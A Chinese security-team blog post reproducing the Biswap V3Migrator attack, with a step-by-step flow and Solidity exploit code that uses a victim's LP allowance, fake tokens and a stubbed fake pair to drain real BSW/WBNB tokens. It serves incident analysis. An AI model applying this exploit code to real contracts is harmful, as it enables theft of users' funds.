Biswap攻击复现

百家 作者:Chamd5安全团队 2023-07-10 11:15:36

简要的攻击流程

  1. 第一次调用migrate函数,输入真的pair合约和假的token,mint地址是受害者。
  2. transferFrom函数将受害者LPtoken发到升级合约中。
  3. 销毁LPtoken,获取两种代币。
  4. 调用mint,铸造假的LPtoken给受害者。
  5. 第二次调用migrate函数,输入伪造的pair合约和真的token,mint地址是自己的地址。
  6. 调用假的pair合约的transferFrom和burn函数不做任何操作,其中burn函数需要返回转移合约中两种代币的数量。
  7. 向自己的地址mint真的LP。

具体实现

编写假的token合约:

contract fakeToken is ERC20 {
constructor() ERC20("fake", "fake") {
_mint(msg.sender, 10e10 ether);
}
}

初始化v3Migrator、bsw-wbnb交易对,manager,biswapFactory合约,创建两个假token合约:

    IV3Migrator public v3Migrator = IV3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);
IBiswapPair public pair = IBiswapPair(0x46492B26639Df0cda9b2769429845cb991591E0A);
ILiquidityManager public manager = ILiquidityManager(0x24Ba8d2A15Fe60618039c398Cf9FD093b1C1FEB5);
IBiswapFactoryV3 factory = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);
address public victim = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;

address public bsw = 0x965F527D9159dCe6288a2219DB51fc6Eef120dD1;
address public wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;

address public fakeToken0 = address(new fakeToken());
address public fakeToken1 = address(new fakeToken());

在创建交易对时会判断代币地址的相对大小,所以要先调整一下两种代币的顺序:

···

if (fakeToken0 > fakeToken1) {
(fakeToken1, fakeToken0) = (fakeToken0, fakeToken1);
}

获取bsw-wbnb交易对中受害者对转移合约的授权:

uint256 allowance = pair.allowance(victim, address(v3Migrator));

提前将两种假token发送到转移合约:

IERC20(fakeToken0).transfer(address(v3Migrator), 10e10 ether);
IERC20(fakeToken1).transfer(address(v3Migrator), 10e10 ether);

创建两种假token的交易对:

factory.newPool(fakeToken0, fakeToken1, 150 ,1);

第一次调用migrate函数:

IV3Migrator.MigrateParams memory params = 
IV3Migrator.MigrateParams(
address(pair),
allowance,
fakeToken0,
fakeToken1,
150,
10000,
20000,
0,
0,
victim,
1688126472,
false
);

v3Migrator.migrate(params);

交易对为真实的bsw-wbnb pair,要转移的流动性为受害者地址对转移合约的授权,两种代币为假的token,其余参数也与实际攻击一致。

第二次调用migrate函数:

IV3Migrator.MigrateParams memory params1 = 
IV3Migrator.MigrateParams(
address(this),
allowance,
bsw,
wbnb,
150,
10000,
20000,
0,
0,
address(this),
1688126472,
false
);

v3Migrator.migrate(params1);

这时的pair为攻击合约本身,所以攻击合约要实现transferFrom和burn函数:

    function transferFrom(address from, address to, uint value) external returns (bool){
return true;
}

transferFrom直接返回true即可。

    function burn(address to) external returns (uint amount0, uint amount1) {
uint256 bswBalance = IERC20(bsw).balanceOf(address(v3Migrator));
uint256 wbnb1Balance = IERC20(wbnb).balanceOf(address(v3Migrator));
return (bswBalance, wbnb1Balance);
}

burn函数返回两种真实代币在转移合约中的余额。

在第二次调用之后,攻击合约应该获取到一个LP和相应数量的两种的代币。

测试

image-20230708072642858

代码

https://github.com/wangbar0133/biswap_poc

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接